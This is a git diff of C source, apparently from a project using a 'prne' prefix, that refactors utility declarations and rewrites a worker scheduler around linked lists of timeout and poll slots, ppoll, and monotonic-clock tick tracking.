void prne_free (void *ptr);
-void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len);
+void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len);
+char *prne_strnchr (const char *p, const char c, const size_t n);
size_t prne_str_shift_spaces (char *str, const size_t len);
-struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b);
-double prne_real_timespec (const struct timespec *ts);
-int prne_cmp_timespec (const struct timespec *a, const struct timespec *b);
+struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b);
+double prne_real_timespec (const struct timespec ts);
+int prne_cmp_timespec (const struct timespec a, const struct timespec b);
+struct timespec prne_min_timespec (const struct timespec a, const struct timespec b);
+struct timespec prne_max_timespec (const struct timespec a, const struct timespec b);
char *prne_enc_base64_mem (const uint8_t *data, const size_t size);
bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size);
+
+bool prne_set_pipe_size (const int fd, const int size);
diff --git a/src/worker.c b/src/worker.c
index c69a925..f68eace 100644
--- a/src/worker.c
+++ b/src/worker.c
@@ -1,50 +1,289 @@
#include "worker.h"
#include "util_rt.h"
-#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <assert.h>
+#include <errno.h>
-static void def_free_func (prne_worker_sched_req_t *wsr) {
- prne_free(wsr->pollfd_arr);
- wsr->pollfd_arr = NULL;
- wsr->pollfd_arr_size = 0;
+void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r) {
+ r->pfd_arr = NULL;
+ r->pfd_arr_size = 0;
+ prne_init_llist(&r->tos_list);
+ prne_init_llist(&r->pfd_list);
+ r->timeout_active = false;
}
-static bool def_alloc_func (prne_worker_sched_req_t *wsr, const size_t ny_size) {
- if (ny_size == 0) {
- def_free_func(wsr);
+void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r) {
+ prne_llist_entry_t *cur;
+ prne_wkr_timeout_slot_pt to_slot;
+ prne_wkr_pollfd_slot_pt pfd_slot;
+
+ if (r == NULL) {
+ return;
+ }
+
+ cur = r->tos_list.head;
+ while (cur != NULL) {
+ to_slot = (prne_wkr_timeout_slot_pt)cur->element;
+ to_slot->parent.ent = NULL;
+ to_slot->parent.wsr = NULL;
+ cur = cur->next;
+ }
+ cur = r->pfd_list.head;
+ while (cur != NULL) {
+ pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
+ pfd_slot->parent.ent = NULL;
+ pfd_slot->parent.wsr = NULL;
+ cur = cur->next;
+ }
+
+ prne_free(r->pfd_arr);
+ prne_free_llist(&r->tos_list);
+ prne_free_llist(&r->pfd_list);
+ r->pfd_arr = NULL;
+ r->pfd_arr_size = 0;
+ r->timeout_active = false;
+}
+
+bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r) {
+ prne_llist_entry_t *cur;
+ prne_wkr_timeout_slot_pt to_slot;
+ prne_wkr_pollfd_slot_pt pfd_slot;
+ size_t i = 0;
+
+ cur = r->pfd_list.head;
+ while (cur != NULL) {
+ pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
+ if (pfd_slot->pfd.fd >= 0) {
+ i += 1;
+ }
+ cur = cur->next;
}
- else if (ny_size != wsr->pollfd_arr_size) {
- void *ny_buf = prne_realloc(wsr->pollfd_arr, sizeof(struct pollfd), ny_size);
+ if (i > 0) {
+ void *ny_mem;
- if (ny_buf == NULL) {
+ ny_mem = prne_realloc(r->pfd_arr, sizeof(struct pollfd), i);
+ if (ny_mem != NULL) {
+ r->pfd_arr = (struct pollfd*)ny_mem;
+ r->pfd_arr_size = i;
+
+ i = 0;
+ cur = r->pfd_list.head;
+ while (cur != NULL) {
+ pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
+ if (pfd_slot->pfd.fd >= 0) {
+ pfd_slot->pfd.revents = 0;
+ r->pfd_arr[i].fd = pfd_slot->pfd.fd;
+ r->pfd_arr[i].events = pfd_slot->pfd.events;
+ i += 1;
+ }
+ cur = cur->next;
+ }
+ }
+ else {
return false;
}
- wsr->pollfd_arr = (struct pollfd*)ny_buf;
- wsr->pollfd_arr_size = ny_size;
+ }
+ else {
+ prne_free(r->pfd_arr);
+ r->pfd_arr = NULL;
+ r->pfd_arr_size = 0;
+ }
+
+ r->timeout_active = false;
+ cur = r->tos_list.head;
+ while (cur != NULL) {
+ to_slot = (prne_wkr_timeout_slot_pt)cur->element;
+ if (to_slot->active) {
+ if (r->timeout_active) {
+ r->timeout = prne_min_timespec(r->timeout, to_slot->dur);
+ }
+ else {
+ r->timeout = to_slot->dur;
+ r->timeout_active = true;
+ }
+ }
+ cur = cur->next;
}
return true;
}
-static prne_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL };
+void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed) {
+ prne_llist_entry_t *cur;
+ if (r->timeout_active) {
+ prne_wkr_timeout_slot_pt to_slot;
-bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *in_mem_func) {
- prne_worker_sched_req_t ret;
+ cur = r->tos_list.head;
+ while (cur != NULL) {
+ to_slot = (prne_wkr_timeout_slot_pt)cur->element;
+ if (to_slot->active) {
+ if (prne_cmp_timespec(to_slot->dur, elapsed) > 0) {
+ to_slot->dur = prne_sub_timespec(to_slot->dur, elapsed);
+ to_slot->reached = false;
+ }
+ else {
+ to_slot->dur.tv_sec = 0;
+ to_slot->dur.tv_nsec = 0;
+ to_slot->reached = true;
+ }
+ }
- ret.pollfd_arr_size = 0;
- ret.pollfd_arr = NULL;
- ret.timeout.tv_sec = 0;
- ret.timeout.tv_nsec = 0;
- ret.mem_func = *(in_mem_func != NULL ? in_mem_func : &def_mem_func);
- ret.flags = PRNE_WORKER_SCHED_FLAG_NONE;
- ret.pollfd_ready = false;
+ cur = cur->next;
+ }
+ }
+
+ if (poll_ret > 0) {
+ prne_wkr_pollfd_slot_pt pfd_slot;
+ size_t i = 0, ret_evts = 0;
+
+ cur = r->pfd_list.head;
+ while (cur != NULL) {
+ pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
+ if (pfd_slot->pfd.fd >= 0) {
+ assert(pfd_slot->pfd.fd == r->pfd_arr[i].fd);
+
+ pfd_slot->pfd.revents = r->pfd_arr[i].revents;
+ if (pfd_slot->pfd.revents) {
+ ret_evts += 1;
+ }
+ if (ret_evts >= (size_t)poll_ret) {
+ break;
+ }
+ i += 1;
+ }
+ cur = cur->next;
+ }
+ }
+}
+
+bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret) {
+ bool ret = false;
- if (!ret.mem_func.alloc(&ret, 0)) {
- return false;
+ *poll_ret = 0;
+ if (r->pfd_arr_size > 0) {
+ *poll_ret = ppoll(r->pfd_arr, r->pfd_arr_size, r->timeout_active ? &r->timeout : NULL, NULL);
+ if (*poll_ret < 0) {
+ switch (errno) {
+ case EINTR:
+ case ENOMEM:
+ break;
+ default:
+ abort();
+ }
+ }
+ else {
+ ret = true;
+ }
+ }
+ else if (r->timeout_active) {
+ if (nanosleep(&r->timeout, NULL) < 0 && errno != EINTR) {
+ abort();
+ }
+ ret = true;
+ }
+ else {
+ ret = true;
}
- *wsr = ret;
- return true;
+ return ret;
+}
+
+prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r) {
+ prne_wkr_timeout_slot_pt ret = NULL;
+ prne_llist_entry_t *ent = NULL;
+
+ ret = prne_malloc(sizeof(struct prne_wkr_timeout_slot), 1);
+ if (ret == NULL) {
+ goto ERR;
+ }
+ ent = prne_llist_append(&r->tos_list, ret);
+ if (ent == NULL) {
+ goto ERR;
+ }
+
+ ret->parent.ent = ent;
+ ret->parent.wsr = r;
+ ret->active = false;
+ ret->reached = false;
+ return ret;
+ERR:
+ prne_free(ret);
+ prne_llist_erase(&r->tos_list, ent);
+
+ return NULL;
+}
+
+void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s) {
+ if (s == NULL) {
+ return;
+ }
+
+ if (s->parent.wsr != NULL) {
+ prne_llist_erase(&s->parent.wsr->tos_list, s->parent.ent);
+ }
+ prne_free(s);
+}
+
+prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r) {
+ prne_wkr_pollfd_slot_pt ret = NULL;
+ prne_llist_entry_t *ent = NULL;
+
+ ret = prne_malloc(sizeof(struct prne_wkr_pollfd_slot), 1);
+ if (ret == NULL) {
+ goto ERR;
+ }
+ ent = prne_llist_append(&r->pfd_list, ret);
+ if (ent == NULL) {
+ goto ERR;
+ }
+
+ ret->parent.ent = ent;
+ ret->parent.wsr = r;
+ ret->pfd.fd = -1;
+ ret->pfd.events = 0;
+ ret->pfd.revents = 0;
+ return ret;
+ERR:
+ prne_free(ret);
+ prne_llist_erase(&r->pfd_list, ent);
+
+ return NULL;
+}
+
+void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s) {
+ if (s == NULL) {
+ return;
+ }
+
+ if (s->parent.wsr != NULL) {
+ prne_llist_erase(&s->parent.wsr->pfd_list, s->parent.ent);
+ }
+ prne_free(s);
+}
+
+void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti) {
+ memset(ti, 0, sizeof(prne_wkr_tick_info_t));
+}
+
+void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti) {
+ // left for future code
+}
+
+void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti) {
+ prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick));
+ ti->last_tick = ti->this_tick;
+ ti->tick_diff.tv_sec = 0;
+ ti->tick_diff.tv_nsec = 0;
+ ti->real_tick_diff = 0.0;
+}
+
+void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti) {
+ ti->last_tick = ti->this_tick;
+ prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick));
+ ti->tick_diff = prne_sub_timespec(ti->this_tick, ti->last_tick);
+ ti->real_tick_diff = prne_real_timespec(ti->tick_diff);
}
diff --git a/src/worker.h b/src/worker.h
index 8927fb0..78661a1 100644
--- a/src/worker.h
+++ b/src/worker.h
@@ -5,33 +5,46 @@
#include <time.h>
#include <poll.h>
+#include "llist.h"
-typedef uint8_t prne_worker_sched_flag_t;
-typedef struct prne_worker_sched_req prne_worker_sched_req_t;
-typedef bool(*prne_worker_sched_req_alloc_func_t)(prne_worker_sched_req_t *, const size_t);
-typedef void(*prne_worker_sched_req_free_func_t)(prne_worker_sched_req_t *);
-typedef struct prne_worker_sched_req_mem_func prne_worker_sched_req_mem_func_t;
-typedef struct prne_worker_sched_info prne_worker_sched_info_t;
+struct prne_wkr_timeout_slot;
+struct prne_wkr_pollfd_slot;
+struct prne_wkr_tick_info;
+struct prne_wkr_sched_req;
+typedef struct prne_wkr_timeout_slot* prne_wkr_timeout_slot_pt;
+typedef struct prne_wkr_pollfd_slot* prne_wkr_pollfd_slot_pt;
+typedef struct prne_wkr_sched_req prne_wkr_sched_req_t;
+typedef struct prne_wkr_tick_info prne_wkr_tick_info_t;
typedef struct prne_worker prne_worker_t;
-struct prne_worker_sched_req_mem_func {
- prne_worker_sched_req_alloc_func_t alloc;
- prne_worker_sched_req_free_func_t free;
- void *ctx;
+struct prne_wkr_slot_parent {
+ prne_llist_entry_t *ent;
+ prne_wkr_sched_req_t *wsr;
+};
+
+struct prne_wkr_timeout_slot {
+ struct timespec dur;
+ struct prne_wkr_slot_parent parent;
+ bool active;
+ bool reached;
};
-struct prne_worker_sched_req {
- size_t pollfd_arr_size;
- struct pollfd *pollfd_arr;
+struct prne_wkr_pollfd_slot {
+ struct pollfd pfd;
+ struct prne_wkr_slot_parent parent;
+};
+
+struct prne_wkr_sched_req {
+ struct pollfd *pfd_arr;
+ size_t pfd_arr_size;
struct timespec timeout;
- prne_worker_sched_req_mem_func_t mem_func;
- prne_worker_sched_flag_t flags;
- bool pollfd_ready;
+ prne_llist_t tos_list;
+ prne_llist_t pfd_list;
+ bool timeout_active;
};
-struct prne_worker_sched_info {
- prne_worker_sched_flag_t tick_flags;
+struct prne_wkr_tick_info {
struct timespec last_tick;
struct timespec this_tick;
struct timespec tick_diff;
@@ -44,21 +57,23 @@ struct prne_worker {
void (*free)(void *ctx);
void (*fin)(void *ctx);
- void (*work)(void *ctx, const prne_worker_sched_info_t *sched_info, prne_worker_sched_req_t *sched_req);
+ void (*work)(void *ctx, const prne_wkr_tick_info_t *sched_info);
bool (*has_finalised)(void *ctx);
};
-/* Do nothing. The worker has more work to do and is yielding cpu time to the
-* other workers.
-*/
-static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_NONE = 0x00;
-/* Do `poll()`. The worker has to set `shed_req` properly.
-*/
-static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_POLL = 0x01;
-/* Do `poll()` with timeout or just sleep. The worker has to set
-* `prne_worker_sched_req_t::timeout` properly.
-*/
-static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_TIMEOUT = 0x02;
+void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r);
+void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r);
+bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r);
+void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed);
+bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret);
+
+prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r);
+void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s);
+prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r);
+void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s);
-bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *mem_func);
+void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti);
+void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti);
+void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti);
+void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti); \ No newline at end of file